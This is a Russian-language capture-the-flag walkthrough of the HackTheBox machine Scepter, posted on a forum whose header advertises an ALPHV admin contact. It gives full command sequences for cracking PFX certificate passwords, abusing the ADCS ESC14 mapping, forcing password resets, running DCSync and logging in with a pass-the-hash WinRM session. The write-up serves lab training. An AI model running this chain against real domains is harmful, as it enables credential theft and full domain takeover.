• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем атаку ESC14 на ADCS для захвата домена

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,332
Розыгрыши
0
Реакции
622
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу разные варианты техники повышения привилегий ADCS ESC14: сначала для получения сессии на хосте, а затем для получения повышенных прав в домене Windows.
Наша цель — получение прав суперпользователя на машине Scepter с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.65 scepter.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 88 — Kerberos;
  • 111, 2049 — NFS;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM.
Первым делом обновим содержимое файла /etc/hosts.

10.10.11.65 scepter.htb dc01 dc01.scepter.htb

Точка входа​

На хосте работает служба NFS, проверим, есть ли для нас доступные бэкапы.

showmount -e 10.10.11.65
Доступные тома NFS
Доступные тома NFS
Нам доступен для чтения ресурс helpdesk. Монтируем его к нашей системе и просматриваем содержимое каталога.

Код:
mkdir /tmp/nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/nfs
sudo ls -la /tmp/nfs/
Содержимое ресурса helpdesk
Содержимое ресурса helpdesk
В каталоге содержатся сертификаты и ключи. PFX-сертификаты защищены паролем. Мы можем использовать Для просмотра ссылки Войди или Зарегистрируйся, чтобы для сертификатов сформировать хеши паролей в формате утилиты john.

Код:
pfx2john.py clark.pfx >> hashes.txt
pfx2john.py lewis.pfx >> hashes.txt
pfx2john.py scott.pfx >> hashes.txt
Затем отправляем полученные хеши на перебор. Получаем один пароль для всех сертификатов.

john --wordlist=rockyou.txt hashes.txt
Результат подбора паролей
Результат подбора паролей
Перед использованием сертификата с него нужно «снять» пароль.

certipy cert -export -pfx nfs/clark.pfx -out clark.pfx -password newpassword
Однако при попытке пройти аутентификацию с любым из сертификатов получаем ошибку, что клиент отозван.

certipy auth -pfx clark.pfx
Ошибка аутентификации
Ошибка аутентификации
Просмотрим другой сертификат — baker.crt, который используется для аутентификации пользователя d.baker.

Информация о сертификате
Информация о сертификате
Сконвертируем сертификат в формат PFX, после чего попробуем пройти аутентификацию и получим учетные данные пользователя.

openssl pkcs12 -export -out baker.pfx -in baker.crt -inkey baker.key

certipy cert -export -pfx ~/tmp/HTB/scepter/nfs/baker.pfx -out baker.pfx -password newpassword

certipy auth -pfx baker.pfx
Ошибка получения TGT-билета
Ошибка получения TGT-билета
Ошибка KRB_AP_ERR_SKEW говорит о несоответствии времени на сервере и клиенте. Разница составляет восемь часов, ее мы можем убрать с помощью утилиты faketime.

faketime -f '+8h' certipy auth -pfx baker.pfx
Учетные данные пользователя
Учетные данные пользователя
На этот раз удалось получить билет TGT и извлечь из него NTLM-хеш пароля пользователя.


Продвижение​

У нас есть доменная учетная запись, а значит, мы можем собрать информацию о домене с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Собирать данные будем с помощью коллектора Для просмотра ссылки Войди или Зарегистрируйся.

RustHound не может аутентифицироваться с помощью хеша, однако может использовать аутентификацию Kerberos. Внесем информацию о целевом домене в файл /etc/krb5.conf.

Код:
[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

[libdefaults]
    default_realm = SCEPTER.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    forwardable = true

[realms]
    SCEPTER.HTB = {
        kdc = DC01.SCEPTER.HTB
        admin_server = DC01.SCEPTER.HTB
        default_domain = SCEPTER.HTB
    }
Затем запросим билет TGT пользователя и выполним подключение к службе LDAP.

faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce

KRB5CCNAME=d.baker.ccache faketime -f "+8h" ./rusthound-ce -d SCEPTER.HTB -u d.baker -f DC01 -k -z -c All
Логи RustHound
Логи RustHound
Построим граф от скомпрометированного пользователя d.baker.

Граф BloodHound
Граф BloodHound
Судя по графу, учетная запись D.BAKER имеет право ForceChangePassword (изменить пароль) на учетную запись A.CARTER. Установим пользователю свой пароль с помощью Для просмотра ссылки Войди или Зарегистрируйся.

bloodyAD -d scepter.htb -u d.baker -p :18b5fb0d99e7a475316213c15b6f22ce --host 10.10.11.65 set password a.carter Password123
Для просмотра ссылки Войди или Зарегистрируйся
Так как мы скомпрометировали нового пользователя, перестраиваем граф BloodHound от его имени.

Граф BloodHound
Граф BloodHound
Учетная запись A.CARTER входит в группу IT SUPPORT, члены которой имеют право GenericAll на подразделение STAFF ACCESS CERTIFICATE. Уже скомпрометированный пользователь D.BAKER входит в это подразделение. Так как речь идет о сертификатах, соберем информацию с ADCS.

faketime -f '+8h' certipy find -u [EMAIL]d.baker@scepter.htb[/EMAIL] -hashes 18b5fb0d99e7a475316213c15b6f22ce -enabled -vulnerable -stdout -esc14
Информация о шаблоне StaffAccessCertificate
Информация о шаблоне StaffAccessCertificate

Certipy автоматически отметил, что шаблон сертификата StaffAccessCertificate уязвим к технике ESC14, а именно к сценарию B, о чем говорит пометка X509RFC822. Техника ESC14 заключается в том, что мы можем использовать явное сопоставление сертификатов (атрибут altSecurityIdentities) для получения сертификата пользователя h.brown, сопоставленного по значению в altSecurityIdentities. X509RFC822 (сценарий B) говорит о том, что явное сопоставление производится по значению атрибута mail.

Нам нужно установить пользователю d.baker значение h.brown@scepter.htb в атрибут mail, после чего от имени d.baker запросить сертификат на имя пользователя h.brown.

bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.65 set object d.baker mail -v '[EMAIL]h.brown@scepter.htb[/EMAIL]'
Для просмотра ссылки Войди или Зарегистрируйся
Перед получением сертификата дополним запись в файле /etc/hosts.

10.10.11.65 scepter.htb dc01 dc01.scepter.htb scepter-DC01-CA
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce

KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username 'h.brown' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Получение сертификата пользователя h.brown
Получение сертификата пользователя h.brown

По сертификату проходим аутентификацию и получаем сначала тикет, а затем и хеш пароля пользователя.

faketime -f "+8h" certipy auth -pfx h.brown.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username 'h.brown'
Получение учетных данных пользователя
Получение учетных данных пользователя

Как показывает граф BloodHound, пользователь H.BROWN состоит в группе REMOTE MANAGEMENT USERS, что дает ему возможность логина в службе WinRM.

Для просмотра ссылки Войди или Зарегистрируйся
Получаем сессию через WinRM с помощью Для просмотра ссылки Войди или Зарегистрируйся.

KRB5CCNAME=h.brown.ccache faketime -f "+8h" evil-winrm -i dc01.scepter.htb -r scepter.htb
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

На хосте ничего интересного найти не удалось, а BloodHound ничего не показал. Но BloodHound многое не показывает, так что используем bloodyAD для поиска прав записи на отдельные атрибуты объектов.

KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d scepter.htb -u h.brown --host dc01.scepter.htb -k get writable --detail
Права записи
Права записи

Вывод bloodyAD сообщает, что учетная запись h.brown имеет право записи в атрибут altSecurityIdentities учетной записи p.adams. А значит, мы можем записать в этот атрибут значение X509:<RFC822>p.adams@scepter.htb, и тогда данная учетная запись станет уязвима к технике ESC14.

KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d 'scepter.htb' -u h.brown -k --host dc01.scepter.htb set object p.adams altSecurityIdentities -v 'X509:<RFC822>[EMAIL]p.adams@scepter.htb[/EMAIL]'
Для просмотра ссылки Войди или Зарегистрируйся
Теперь повторяем эксплуатацию ESC14 как ранее, только для другой учетной записи. Сначала записываем p.adams@scepter.htb в атрибут mail подконтрольной учетной записи d.baker, а затем от его имени запрашиваем сертификат для p.adams. А по сертификату уже получаем учетные данные.

Код:
bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.65 set object d.baker mail -v 'p.adams@scepter.htb'
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce

KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username 'p.adams' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Запрос сертификата для p.adams
Запрос сертификата для p.adams
faketime -f "+8h" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username 'p.adams'
Получение учетных данных
Получение учетных данных

Скомпрометировали нового пользователя — перестраиваем граф BloodHound. Пользователь P.ADAMS состоит в группе REPLICATION OPERATORS, члены которой имеют право репликации данных домена.

Граф BloodHound
Граф BloodHound
Выполняем атаку DCSync от имени p.adams и получаем учетные данные всех пользователей домена.

secretsdump.py scepter.htb/[EMAIL]p.adams@dc01.scepter.htb[/EMAIL] -hashes :1b925c524f447bb821a8789c4b118ce0 -just-dc-user Administrator

Справка: DCSync​

Атака DCSync позволяет злоумышленнику, получившему права Domain Admin или Replicator, притвориться контроллером домена и запросить у настоящего контроллера дамп паролей (включая NTLM-хеши) из Active Directory — через протокол MS-DRSR (репликация AD).
Репликация учетных данных
Репликация учетных данных

Логинимся по WinRM от имени администратора и забираем последний флаг.

evil-winrm -i 10.10.11.65 -u Administrator -H a291ead3493f9773dc615e66c2ea21c4
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу